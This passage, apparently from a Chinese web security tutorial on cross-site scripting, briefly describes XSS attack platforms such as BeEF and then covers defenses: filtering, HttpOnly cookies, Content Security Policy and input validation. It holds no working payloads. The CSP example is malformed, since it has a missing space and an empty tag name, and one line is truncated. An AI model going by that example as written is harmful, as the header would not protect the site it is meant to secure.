研究人员将多种功能封装到 XSS 攻击平台中，这些平台具备获取浏览器和计算机信息、钓鱼攻击等功能。攻击者可以通过这些平台更高效地实施 XSS 攻击，并收集攻击成果。

2.6.2. BEEF

BEEF 是一款强大的 XSS 攻击辅助平台，它能够与浏览器进行交互，注入脚本获取敏感数据，控制浏览器操作。BEEF 内置 Web 界面，方便攻击者进行操作和管理。

2.7. 防御方法

2.7.1. 输入输出过滤

对用户输入数据进行严格过滤，转义或去除特殊字符，防止恶意脚本注入。同时，对输出数据也进行检查和转义，确保不会在页面中执行恶意脚本。

【输入的特殊字符（如<、>、'、"）进行过滤或转义】

2.7.2. HttpOnly Cookie

设置 Cookie 的 HttpOnly 属性，使 JavaScript 无法访问该 Cookie，防止 Cookie 被窃取，降低会话劫持的风险。在 PHP 中，可以使用 setcookie 函数设置 HttpOnly 属性：

setcookie("session_id", "123456", time() + 3600, "/", "example.com", false, true);

2.7.3. 内容安全策略（CSP）

配置 CSP 策略，限制页面加载资源的来源，阻止恶意脚本的执行。可以通过 HTTP 响应头 “Content-Security-Policy” 或 HTML 的 “” 标签来设置。

例如，设置 “Content-Security-Policy: script-src'self'”，表示只允许从当前域名加载脚本。

2.7.4. 验证输入数据类型和格式

确保用户输入的数据符合预期的类型和格式，防止攻击者利用非预期的数据格式进行攻击。例

2.7.5. 还有Js,富文本，旧版浏览器等等存在的安全隐患